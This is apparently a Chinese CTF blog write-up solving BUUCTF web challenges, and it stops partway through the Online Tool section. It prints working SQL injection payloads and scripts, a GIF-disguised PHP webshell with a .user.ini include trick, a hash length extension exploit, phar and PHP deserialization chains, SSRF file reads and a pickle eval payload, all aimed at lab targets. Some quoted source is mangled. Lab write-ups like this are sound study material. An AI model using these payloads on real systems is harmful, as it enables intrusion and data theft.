前言：菜鸡误入buu，差点被打吐。不过学到了好多东西。

题目名称：

（1）随便注

（2）高明的黑客

（3）CheckIn

（4）Hack World

（5）SSRF Me

（6）piapiapia

（7）Easy Java

（8）Dropbox

（9）Pythonginx

（10）ikun

（11）Online Tool

（12）Web1

（13）Ping Ping Ping

（14）shrine

（15）easy_web

（16）Love Math

题目：

随便注

涉及知识点：

堆叠注入

解析：

进入题目界面。

配合上题目 随便注 很容易想到这是一道sql注入题。

先随便尝试一下。

发现了这个（不用fuzz了，哈，开心）

select被过滤了，在思考了良久之后，发现自己不会。后来在大佬的帮助下才知道这是堆叠注入。

关于堆叠注入的知识点可以看大佬的博客：https://www.cnblogs.com/geaozhang/p/9891338.html  （大佬nb！感谢大佬！）

看完博客之后完全可以自己实操

利用 show databases; 来爆出数据库

得到了两个表，接下来就是爆字段了。

payload=1';show columns from `1919810931114514`;（注意如果表名是纯数字时，一定要用 ` 把它包括起来，` 强制命令执行）

看到flag了对吧。那么读取它就可以了。但是我们的select被过滤了。平时可以使用select * from flag来读取现在又使用什么呢？

方法一：　　预编译系统

这时候就要用到mysql的预编译系统了。（大佬的博客有说到，不会的赶紧去看啊，就是上面的链接）

构造payload=1';SET @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE sqlexp from @a;EXECUTE sqlexp;

得到flag

方法二：　　神秘的handler函数；

有一说一，handler 函数是真的难找。推荐学习资料

这里直接给payload了。

payload: 1';HANDLER `1919810931114514` open;HANDLER `1919810931114514` read first;#

也可以拿到flag。

高明的黑客

涉及知识点：

（1）批量代码审计

解析：

进入题目之后，看到

说明有备份文件，直接下载后发现，有整整3000多个文件。。很明显这不是让我们手动审计的，应该是写脚本审计了。

贴上脚本。。（有一说一真的好慢啊，看来我要学一下多线程了）

import os

import requests

path = "E:/phpStudy_2014.10.02_XiaZaiBa/WWW/www/src/"

files = os.listdir(path)

url = "http://ccd8ef95-a688-4fd7-b6c9-fede974d6c26.node3.buuoj.cn/{}?{}={}"

def read_line(filename):

    params = []

    with open(path + filename,'r') as f:

        lines = f.readlines()

        for line in lines:

            if '$_GET[' in line:

                start = line.find("$_GET['") + len("$_GET['")

                end = line.find("']",start)

                param = line[start:end]

                params.append(param)

    return params

def attack():

    for i in range(len(files)):

        filename = files[i]

        params = []

        params = read_line(filename)

        print('try : %s' % filename )

        for param in params:

            new_url = url.format(filename,param,"echo 'Hello world'")

            try:

                ans = requests.get(new_url)

                if "Hello world" in ans.text:

                    print('Success')

                    print(new_url)

            except:

                print('failed')

attack()

最后在漫长的等待后，拿到了shell。

最后用

http://f4cefef7-b3f2-44d5-8219-53a08291bf93.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat /flag

拿到flag

CheckIn

涉及知识点：

（1）.gif文件头欺骗

　　　gif 文件头欺骗，GIF89a文件头检测是指程序为了他人将asp等文件后缀改为gif后上传,读取gif文件头,检测是否有GIF87a或GIF89a标记,是就允许上传,不是就说明不是gif文件。 而欺骗刚好是利用检测这两个标记,只要在木马代码前加GIF87a就能骗过去。

（2）.user.ini 代替 .htaccess 文件

解析：

首先，这道题是有源码的。在github上。

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>Upload Labs</title>

</head>

<body>

    <h2>Upload Labs</h2>

    <form action="index.php" method="post" enctype="multipart/form-data">

        <label for="file">文件名：</label>

        <input type="file" name="fileUpload" id="file"><br>

        <input type="submit" name="upload" value="提交">

    </form>

</body>

</html>

<?php

// error_reporting(0);

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);

if (!file_exists($userdir)) {

    mkdir($userdir, 0777, true);

}

file_put_contents($userdir . "/index.php", "");　　　　　　//会生成一个空的index.php。

if (isset($_POST["upload"])) {

    $tmp_name = $_FILES["fileUpload"]["tmp_name"];

    $name = $_FILES["fileUpload"]["name"];

    if (!$tmp_name) {

        die("filesize too big!");

    }

    if (!$name) {

        die("filename cannot be empty!");

    }

    $extension = substr($name, strrpos($name, ".") + 1);

    if (preg_match("/ph|htacess/i", $extension)) {

        die("illegal suffix!");

    }

    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {

        die("&lt;? in contents!");

    }

    $image_type = exif_imagetype($tmp_name);

    if (!$image_type) {

        die("exif_imagetype:not image!");

    }

    $upload_file_path = $userdir . "/" . $name;

    move_uploaded_file($tmp_name, $upload_file_path);

    echo "Your dir " . $userdir. ' <br>';

    echo 'Your files : <br>';

    var_dump(scandir($userdir));

}

审计源码发现，.htaccess文件被过滤了。可以上传图片马。。但是图片马好像没法识别。后来才知道有.user.ini

进入题目界面。发现是道文件上传题目。

fuzz之后发现这道题有文件头检查。那么就涉及到.gif文件头欺骗了。（为什么非要是.gif呢？其实也不是。主要是.gif文件头简单，只要在木马前加上GIF89a就行了,对了，记住是大写）。

然后尝试上传1.gif文件，内容如下:

GIF89a

<?php system($_GET[1551]); ?>

然后发现。。不得行。那么尝试以下内容

GIF89a

<script language="php">system($_GET[1551]);</script>

成功了，接下来就是.user.ini ，首先解释一下.user.ini .。直接看大佬的博客吧 https://blog.csdn.net/byywcsnd/article/details/78221375

那么，我们只需要重新上传.user.ini 来使得.gif文件被识别成.php文件就好了。

这里我们选择使用auto_prepend_file配置来自动包含文件。（auto_prepend_file配置，将文件被包含到每一个文件中）如：

auto_prepend_file=1.gif 就相当于每个文件中都有 require('1.gif');

所以上传 .user.ini 内容如下：

GIF89a

auto_prepend_file=1.gif

等一会服务器就会配置完成，疯狂访问就好了。看到如下标记说明成功。

然后根据个人喜好不同可以用菜刀冰蝎之类的，我就直接调命令了。构造payload = ?1551=cat /flag

得到flag。

Hack World

涉及知识点：

（1）sql布尔盲注

解析：

进入题目界面随便输入一下。

。。。都9102年了，赵总还在征友？drl，drl。还是注入吧。。

fuzz一下，发现空格，各种注释都被过滤了。。但是好像不需要注释？？

尝试id = 0|(ascii(substr(('flag'),1,1))>1)居然会给我正常回显？那么只要把字符串换成查询语句就完事了。

题目都告诉我们了

正常查询语句：select flag from flag

过滤之后采用括号包括代替空格: select(flag)from(flag)

最后的payload = 0|(ascii(substr((select(flag)from(flag)),1,1))>1)

之后写脚本就完事了。

import requests

import time

url = 'http://30945318-af58-48e1-a143-9dabde805f9a.node3.buuoj.cn/index.php'

payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'

passwd = ''

for i in range(1,60):

    low = 0

    high = 127

    while True:

        time.sleep(0.1)                             #buu的流量检测也太烦了。。

        j = int((low + high)/2)

        sqlstr = u"0|(ascii(substr((select(flag)from(flag)),{},1))>{})"

        data = {'id':sqlstr.format(str(i),str(j))}

        #print(sqlstr.format(str(i),str(low)))

        ans = requests.post(url,data=data)

        if 'Hello' in ans.text:     #true

            if high == low+1:

                passwd += chr(high)

                print(passwd)

                break

            low = j

        if 'Error' in ans.text:       #false

            if high == low+1:

                passwd += chr(low)

                print(passwd)

                break

            high = j

print(passwd)　　

最后爆出flag

说句题外话：注意这个循环只设置了60次，那么长度超过60的话是爆不出来的。。（本来是40的，结果发现这题的flag超过40位。。我人傻了。）

SSRF Me

涉及知识点：

（1）flask的python代码审计

（2）哈希长度拓展攻击

解析：

进入题目界面，发现源码泄露。整理后代码为

#! /usr/bin/env python

#encoding=utf-8 from flask

import Flask from flask

import request

import socket

import hashlib

import urllib import sys

import os

import json 

reload(sys)

sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16) 

class Task:

    def __init__(self, action, param, sign, ip):

        self.action = action

        self.param = param

        self.sign = sign

        self.sandbox = md5(ip)

        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr

            os.mkdir(self.sandbox)              #创建目录

    def Exec(self):

        result = {}

        result['code'] = 500

        if (self.checkSign()):

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)

                if (resp == "Connection Timeout"):

                    result['data'] = resp

                else:

                    print resp tmpfile.write(resp)

                    tmpfile.close()

                result['code'] = 200

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()

                if result['code'] == 500:

                    result['data'] = "Action Error"

            else:

                result['code'] = 500

                result['msg'] = "Sign Error"

        return result

        def checkSign(self):

            if (getSign(self.action, self.param) == self.sign): #哈希长度拓展攻击

                return True

            else:

                return False #generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST']) 

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param) 

@app.route('/De1ta',methods=['GET','POST']) 

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr 

    if(waf(param)):

        return "No Hacker!!!!" 

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec()) 

@app.route('/')

def index():

    return open("code.txt","r").read() 

def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout" 

def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest() #md5(ip) + 'flag.txt'  就是16位加8位即24位

def md5(content):

    return hashlib.md5(content).hexdigest() 

def waf(param):

    check=param.strip().lower()

    if check.startswith("gopher") or check.startswith("file"):

        return True

    else:

        return False 

if __name__ == '__main__':

    app.debug = False

    app.run(host='0.0.0.0',port=80)

发现是python代码审计。（现在才发现会python和会python代码审计不是一个东西）

先看3个路由。

@app.route("/geneSign", methods=['GET', 'POST']) 

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param) 

@app.route('/De1ta',methods=['GET','POST']) 

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr 

    if(waf(param)):

        return "No Hacker!!!!" 

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec()) 

@app.route('/')

def index():

    return open("code.txt","r").read()

code.txt一看就是我们正在审的代码。自动忽略。发现/De1ta中用了task的Exec()。

def Exec(self):

        result = {}

        result['code'] = 500

        if (self.checkSign()):

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)

                if (resp == "Connection Timeout"):

                    result['data'] = resp

                else:

                    print resp tmpfile.write(resp)

                    tmpfile.close()

                result['code'] = 200

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()

                if result['code'] == 500:

                    result['data'] = "Action Error"

            else:

                result['code'] = 500

                result['msg'] = "Sign Error"

        return result

发现这一题就是修改cookie中的action和sign使得action中包含read并通过验证就行了。

这就涉及到哈希长度拓展攻击了。

def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest() #secret_key + 'flag.txt'  就是16位加8位即24位

接下来访问http://be932083-4955-49d8-ab2a-385929108e6d.node3.buuoj.cn/geneSign?param=flag.txt拿到sign

写脚本访问

import requests,hashpumpy,urllib

def attack():

    url = 'http://be932083-4955-49d8-ab2a-385929108e6d.node3.buuoj.cn/De1ta?param=flag.txt'

    old_cookie = 'c28a0f77f0599399cea1f0ddf4bad59d'　　　　　　#拿到的sign

    str1 = 'scan'

    str2 = 'read'

    new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,24)

    payload = {

        'action':urllib.parse.quote(message),

        'sign':new_cookie

    }

    print(urllib.parse.quote(message))

    ans = requests.get(url=url,cookies = payload)

    print(ans.text)

attack()

拿到flag

piapiapia

涉及知识点：

（1）反序列化漏洞

（2）php代码审计

解析：

首先因为buu的流量检测强到没法用御剑扫描，所以我都是先看大佬的wp看有没有源码再做题的。这题还真有源码。在www.zip。

审计源码后知道要先注册账号。然后用注册账号访问config.php获取flag。那么怎么访问config.php成了问题。

贴上关键代码。

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

        $profile['phone'] = $_POST['phone'];

        $profile['email'] = $_POST['email'];

        $profile['nickname'] = $_POST['nickname'];

        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));

        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
　　　　 $profile = unserialize($profile);

        $phone = $profile['phone'];

        $email = $profile['email'];

        $nickname = $profile['nickname'];

        $photo = base64_encode(file_get_contents($profile['photo']));

通过代码审计可以发现，这一题的关键是$profile数组会被序列化存进数据库，之后被访问时再反序列化。进行测试发现

<?php

$profile = 'a:4:{s:5:"phone";s:11:"18539552955";s:5:"email";s:9:"65@qq.com";s:8:"nickname";s:4:"cioi";s:5:"photo";s:10:"config.php";};s:5:"photo";s:16:"upload/dwadawdaw";}';
print_r(unserialize($profile));
?>

以上代码的结果是
Array ( [phone] => 18539552955 [email] => 65@qq.com [nickname] => cioi [photo] => config.php )

那么我们直接在nickname输入   ";s:5:"photo";s:10:"config.php";}  不就行了吗？

当然不行。。。nickname有三个过滤机制。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

            die('Invalid nickname');
public function filter($string) {

        $escape = array('\'', '\\\\');                    //过滤 \ 和 '

        $escape = '/' . implode('|', $escape) . '/';

        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

    }

    public function __tostring() {

        return __class__;

    }

不过有一说一，准确来说第二个并不叫过滤机制。因为它并没有终止我们的操作，甚至对我们的操作没有任何影响。不信你试试。

但是要nickname的长度不超过10有点恶心。。这时候就要用到我们常用的$nickname[]=了（数组绕过匹配）.

而数组的话我们就要更新payload了。把原来的payload变成 ";}s:5:"photo";s:10:"config.php";}

很明显cioi字符串的长度只有4.。那34明明是之后的   ";}s:5:"photo";s:10:"config.php";}  。那么缺少的34长度怎么补上？

。。这时候没有过滤用的过滤就有用了。它会把那些不允许出现的字符给改成hacker！什么意思！！！！这不就是给我们补上那34个长度的好机会吗！

这里我们把cioi换成34个where（因为where被换成hacker会使得长度加1），最终payload：

$nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

我们在bp中修改

发包后，页面有警告（关我什么事），原流程走一下就行了。

查看图片。base64解码一下。得到flag。

Easy Java

涉及知识点：

（1）Java源码泄露

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录：　　

　 /WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。

/WEB-INF/database.properties：数据库配置文件

漏洞成因：通常一些web应用我们会使用多个web服务器搭配使用，解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候，由于对静态资源的目录或文件的映射配置不当，可能会引发一些的安全问题，导致web.xml等文件能够被读取。漏洞检测以及利用方法：通过找到web.xml文件，推断class文件的路径，最后直接class文件，在通过反编译class文件，得到网站源码。一般情况，jsp引擎默认都是禁止访问WEB-INF目录的，Nginx 配合Tomcat做均衡负载或集群等情况时，问题原因其实很简单，Nginx不会去考虑配置其他类型引擎（Nginx不是jsp引擎）导致的安全问题而引入到自身的安全规范中来（这样耦合性太高了），修改Nginx配置文件禁止访问WEB-INF目录就好了： location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他！

解析：

这题题目界面的登录框没啥用处。这题的主角是Java源码泄露。

get方式是无法获取文件的，所以要改成post方式。（点一下就行了）

尝试把文件名改为/WEB-INF/web.xml。会发现源码泄露。源码如下：

<?xml version="1.0" encoding="UTF-8"?>

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"

         version="4.0">

    <welcome-file-list>

        <welcome-file>Index</welcome-file>

    </welcome-file-list>

    <servlet>

        <servlet-name>IndexController</servlet-name>

        <servlet-class>com.wm.ctf.IndexController</servlet-class>

    </servlet>

    <servlet-mapping>

        <servlet-name>IndexController</servlet-name>

        <url-pattern>/Index</url-pattern>

    </servlet-mapping>

    <servlet>

        <servlet-name>LoginController</servlet-name>

        <servlet-class>com.wm.ctf.LoginController</servlet-class>

    </servlet>

    <servlet-mapping>

        <servlet-name>LoginController</servlet-name>

        <url-pattern>/Login</url-pattern>

    </servlet-mapping>

    <servlet>

        <servlet-name>DownloadController</servlet-name>

        <servlet-class>com.wm.ctf.DownloadController</servlet-class>

    </servlet>

    <servlet-mapping>

        <servlet-name>DownloadController</servlet-name>

        <url-pattern>/Download</url-pattern>

    </servlet-mapping>

    <servlet>

        <servlet-name>FlagController</servlet-name>

        <servlet-class>com.wm.ctf.FlagController</servlet-class>

    </servlet>

    <servlet-mapping>

        <servlet-name>FlagController</servlet-name>

        <url-pattern>/Flag</url-pattern>

    </servlet-mapping>

</web-app>

然后审计发现有一个FlagController？目录都给了。 com.wm.ctf.FlagController 。下载

放进winhex。

base64一下就是flag

dropbox

涉及知识点:

（1）任意文件下载漏洞

（2）phar反序列化

特别解释一下phar。

phar有3个利用条件：

　　① phar文件要能够上传到服务器端
　　② 要有可用的魔术方法作为“跳板”
　　③ 要有文件操作函数，如file_exists()，fopen()，file_get_contents()，file()
　　③ 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

可利用的函数表。

再写一个例子:

test.php

<?php

class Testobj

{

    var $output="echo 'ok';";

    function __destruct()

    {

        eval($this->output);

    }

}

if(isset($_GET['filename']))

{

    $filename=$_GET['filename'];

    var_dump(file_exists($filename));

}

?>

phar.php（用来生成专门针对test.php的phar文件，本地运行。）

<?php

class Testobj

{

    var $output = '';

}

@unlink('test.phar');　　　　　　//删除之前的test.par文件(如果有)

$phar = new Phar('test.phar');//创建一个phar对象，必须有phar后缀结尾

$phar->startBuffering();　　　　//开始读写操作

$phar->setStub('<?php __HALT_COMPILER(); ?>');　　　　//写入stub。记住一定要大写。

$o = new Testobj();

$o->output = 'eval($_GET[1551]);';

$phar->setMetadata($o);　　　　　//写入meta-data

$phar->addFromString("test.phar","test");　　　　　　　//添加要压缩的文件

$phar->stopBuffering();

?>

本地测试。（127.0.0.1/test.php?filename=phar://test.phar&1551=phpinfo();）

解析：

随便注册一个账户。然后发现可以上传文件，随便上传一个试试。

发现有下载和删除界面。用bp抓包试试。

这个filename是可以自己控制的。所以尝试下载index.php。

下载index.php,class.php,delete.php,download.php几个文件。（明天再写咕咕咕！鸽子肥来了QWQ）

经过审计之后，发现class.php中包含重要内容。（只放一个吧，其他的就算了，太长了）

//class.php

<?php

error_reporting(0);

$dbaddr = "127.0.0.1";

$dbuser = "root";

$dbpass = "root";

$dbname = "dropbox";

$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {

    public $db;

    public function __construct() {

        global $db;

        $this->db = $db;

    }

    public function user_exist($username) {

        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

        $stmt->bind_param("s", $username);

        $stmt->execute();

        $stmt->store_result();

        $count = $stmt->num_rows;

        if ($count === 0) {

            return false;

        }

        return true;

    }

    public function add_user($username, $password)

    {

        if ($this->user_exist($username)) {

            return false;

        }

        $password = sha1($password . "SiAchGHmFx");

        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");

        $stmt->bind_param("ss", $username, $password);

        $stmt->execute();

        return true;

    }

    public function verify_user($username, $password) {

        if (!$this->user_exist($username)) {

            return false;

        }

        $password = sha1($password . "SiAchGHmFx");

        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");

        $stmt->bind_param("s", $username);

        $stmt->execute();

        $stmt->bind_result($expect);

        $stmt->fetch();

        if (isset($expect) && $expect === $password) {

            return true;

        }

        return false;

    }

    public function __destruct() {

        $this->db->close();

    }

}

class FileList {

    private $files;

    private $results;

    private $funcs;

    public function __construct($path) {

        $this->files = array();

        $this->results = array();

        $this->funcs = array();

        $filenames = scandir($path);

        $key = array_search(".", $filenames);

        unset($filenames[$key]);

        $key = array_search("..", $filenames);

        unset($filenames[$key]);

        foreach ($filenames as $filename)

        {

            $file = new File();

            $file->open($path . $filename);

            array_push($this->files, $file);

            $this->results[$file->name()] = array();

        }

    }

    public function __call($func, $args) {                //close()    无

        array_push($this->funcs, $func);

        foreach ($this->files as $file) {

            $this->results[$file->name()][$func] = $file->$func();            //results中加上文件名和方法

        }

    }

    public function __destruct() {                //用来回显results

        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';

        $table .= '<thead><tr>';

        foreach ($this->funcs as $func) {

            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';

        }

        $table .= '<th scope="col" class="text-center">Opt</th>';

        $table .= '</thead><tbody>';

        foreach ($this->results as $filename => $result) {

            $table .= '<tr>';

            foreach ($result as $func => $value) {

                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';

            }

            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';

            $table .= '</tr>';

        }

        echo $table;

    }

}

class File {

    public $filename;

    public function open($filename) {

        $this->filename = $filename;

        if (file_exists($filename) && !is_dir($filename)) {

            return true;

        } else {

            return false;

        }

    }

    public function name() {

        return basename($this->filename);

    }

    public function size() {

        $size = filesize($this->filename);

        $units = array(' B', ' KB', ' MB', ' GB', ' TB');

        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;

        return round($size, 2).$units[$i];

    }

    public function detele() {

        unlink($this->filename);            //删除文件                //phar://test.jpg触发反序列化

    }

    public function close() {

        return file_get_contents($this->filename);

    }

}

?>

这个User有点秀，这是CTF中典型的pop链啊！

public function __destruct()

{

        $this->db->close();

}

User中就没有close()方法，那么肯定是把db当做File类的一个对象啊。这样就可以利用file_get_content()读出文件。

但是，没有回显啊！读出来了也看不到啊！所以中间要加一个跳板，就三个类，两个用过了，剩下的那个类有__call()方法，该选谁不用我多说了吧。

直接构造pop链。写脚本。

<?php

class User

{

    public $db;

}

class FileList

{

    private $files;

    public function __construct()

    {

        $this->files = array(new File());

    }

}

class File

{

    public $filename = '/flag.txt';

}

$o = new User();

$o->db = new FileList();

@unlink('test.phar');

$phar = new Phar("test.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($o);

$phar->addFromString("test.txt","test");

$phar->stopBuffering();

?>

把生成的test.phar文件变成test.jpg然后上传。点删除，抓包。修改为filename=phar://test.jpg

Pythonginx

涉及知识点：

（1）nginx的配置情况

  • 配置文件存放目录：/etc/nginx
  • 主配置文件：/etc/nginx/conf.d/nginx.conf
  • 管理脚本：/usr/lib64/systemd/system/nginx.service
  • 模块：/usr/lisb64/nginx/modules
  • 应用程序：/usr/sbin/nginx
  • 程序默认存放位置：/usr/share/nginx/html
  • 日志默认存放位置：/var/log/nginx
  • 配置文件：/usr/local/nginx/conf/nginx.conf

（2）编码转换

解析：

有一说一，这方面我是真的一点都不熟，只能去看wp了。（还好有万能的师傅们）（感谢大佬，贴上wp  https://www.jianshu.com/p/fbfeeb43ace2）

先贴一下自己审计的源码吧

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname         #提取域名
    if host == 'suctf.cc': 
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1]                             #在http://后的并且在第一个斜杠之前的部分
    if host == 'suctf.cc': 
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): 
        newhost.append(h.encode('idna').decode('utf-8')) #utf编码后用idna编码
        parts[1] = '.'.join(newhost) #去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] 
        host = parse.urlparse(finalUrl).hostname 
        if host == 'suctf.cc': 
            return urllib.request.urlopen(finalUrl).read() 
        else: 
            return "我扌 your problem? 333"

总之我们需要绕过的就是两次suctf.cc然而在第三次是suctf.cc就可以了。

而编码应该就是最好的突破点了吧。（毕竟第二次和第三次检测之间有编码转化）

python选择使用unicode作为基础编码，而这一次是由utf-8转化为unicode再转化为idna。我们需要找出它的漏洞。

可以写个脚本来判断（反正判断函数它自己写好了）（以后的编码问题都可以这样解决）

from urllib.parse import urlparse,urlunsplit,urlsplit

from urllib import parse

def get_unicode():

    for x in range(65536):

        x = chr(x)

        url = "http://suctf.c{}"                #url一定要每次循环重新赋值一次

        url = url.format(x)

        try:

            if get_url(url):

                print(url)

        except:

            pass

def get_url(url):                               #随便改一下就行了

    url = url

    host = parse.urlparse(url).hostname

    if host == 'suctf.cc':

        return False

    parts = list(urlsplit(url))

    host = parts[1]

    if host == 'suctf.cc':

        return False

    newhost = []

    for h in host.split('.'):                   #把host拆开

        newhost.append(h.encode('idna').decode('utf-8'))        #idna编码和utf-8编码有漏洞，网址https://www.cnblogs.com/cimuhuashuimu/p/11490431.html

    parts[1] = '.'.join(newhost)                #把newhost中的东西合并

    #去掉 url 中的空格

    finalUrl = urlunsplit(parts).split(' ')[0]

    host = parse.urlparse(finalUrl).hostname

    if host == 'suctf.cc':

        return True

        #print(urllib.request.urlopen(finalUrl).read())

    else:

        return False

if __name__ == "__main__":

    get_unicode()

Unicode/Letterlike Symbols字符阔以从这取：https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols

在这里可以构造payload为file://suctf.cℂ/../../../etc/passwd

但是，这没啥用！（根本不用ssrf）访问/usr/local/nginx/conf/nginx.conf  （我根本不知道有这个配置文件）

原来flag在/usr/fffffflag里

那么直接访问就可以读到了。构造payload为 file://suctf.cℂ/../../../usr/fffffflag

另外：这道题还有一个非预期。非预期是关于函数本身的漏洞的。直接贴上大佬的wp吧。

https://xz.aliyun.com/t/6281

ikun

涉及知识点：

（1）JWT

（2）pickle反序列化

import pickle

dict1 = {'a':1,'b':2}

dict2 = pickle.dumps(dict1)

print(dict2,type(dict2),id(dict2))          #dumps 和 dump 用来序列化   #type byte

dict3 = pickle.loads(dict2)

print(dict3,type(dict3),id(dict3))          #loads 和 load 用来反序列化 #type dict

'''

b'\x80\x03}q\x00(X\x01\x00\x00\x00aq\x01K\x01X\x01\x00\x00\x00bq\x02K\x02u.' <class 'bytes'> 2197014647504

{'a': 1, 'b': 2} <class 'dict'> 2196984297896

'''

解析：

我吐了，这题目界面，这真就是ikun呗，还有题目的脑洞也太大了吧，根本不知道要干嘛！难道真就要买6级账号？

进入题目界面，看题目的要求是找lv6的账号，但是我翻了几页还没有找到。于是尝试写脚本查找。

import requests

import re

for i in range(10000):

    url = 'http://13872e21-33ee-41bd-9008-1ff4635b07e2.node3.buuoj.cn/shop?page={}'

    url = url.format(str(i))

    ans = requests.get(url).text

    if "lv6.png" in ans:

        print(url)

找到了第181页。随便注册一个账号。然后，尝试购买。（手上的1000块肯定是买不了的。应该是要找漏洞）

抓包改包（price和discount是我们可以买的起这些东西的方法）

（反复对比之后发现discount的值可以修改而price无法修改）

成功购买。

抓包发现了JWT。涉及到了JWT。那就要聊一聊JWT的概念了。

了解概念之后把JWTbase64一下就有了第一 ，二部分。即

夸一下notepade++（插件是真的好用）。构建JWT的工具网站 https://jwt.io/

下一部分需要一个secret。然后去github上找工具。https://github.com/brendan-rius/c-jwt-cracker

可恶，我早该想到的，不过这个工具以后可能用的到。

到工具网上去构造JWT。然后修改就到下一个点了。f12发现www.zip有源码（缓缓打出一个？）

解压一看？python代码？但是题目的界面有提示，这是pickle。那么第一时间应该就是pickle反序列化了。

审计源码，果然在admin.py中找到了。

那么写脚本构造payload就好了。

import pickle

import urllib

class payload(object):

    def __reduce__(self):

        return (eval,("open('/flag.txt','r').read()",))

b = pickle.dumps(payload())

b = urllib.quote(b)

print b

抓包把become改成生成的payload写下去就行了。

得到flag

贴上大佬的wp吧（感觉自己讲的好差）

https://blog.csdn.net/weixin_43345082/article/details/97817909

Online Tool
涉及知识点:
（1）escapeshellarg 和 escapeshellcmd 漏洞
　　当escapeshellarg 和 escapeshellcmd连起来用时会造成单引号逃逸。（注意先后顺序，要是顺序反的话就没用了）
（2）shell注入
解析：
题目直接给出了源码。
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {

    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];

}

if(!isset($_GET['host'])) {

    highlight_file(__FILE__);

} else {

    $host = $_GET['host'];

    $host = escapeshellarg($host);

    $host = escapeshellcmd($host);

    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);

    echo 'you are in sandbox '.$sandbox;

    @mkdir($sandbox);

    chdir($sandbox);

    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

}

没见过escapeshellarg。直接搜索，没想到发现了函数漏洞。

就是这两个函数连用会造成单引号逃逸。接着搜索nmap常见的命令。发现了这个

有了这几个指令，我们就可以直接把内容写入文件中了。最开始想到的是注入shell。

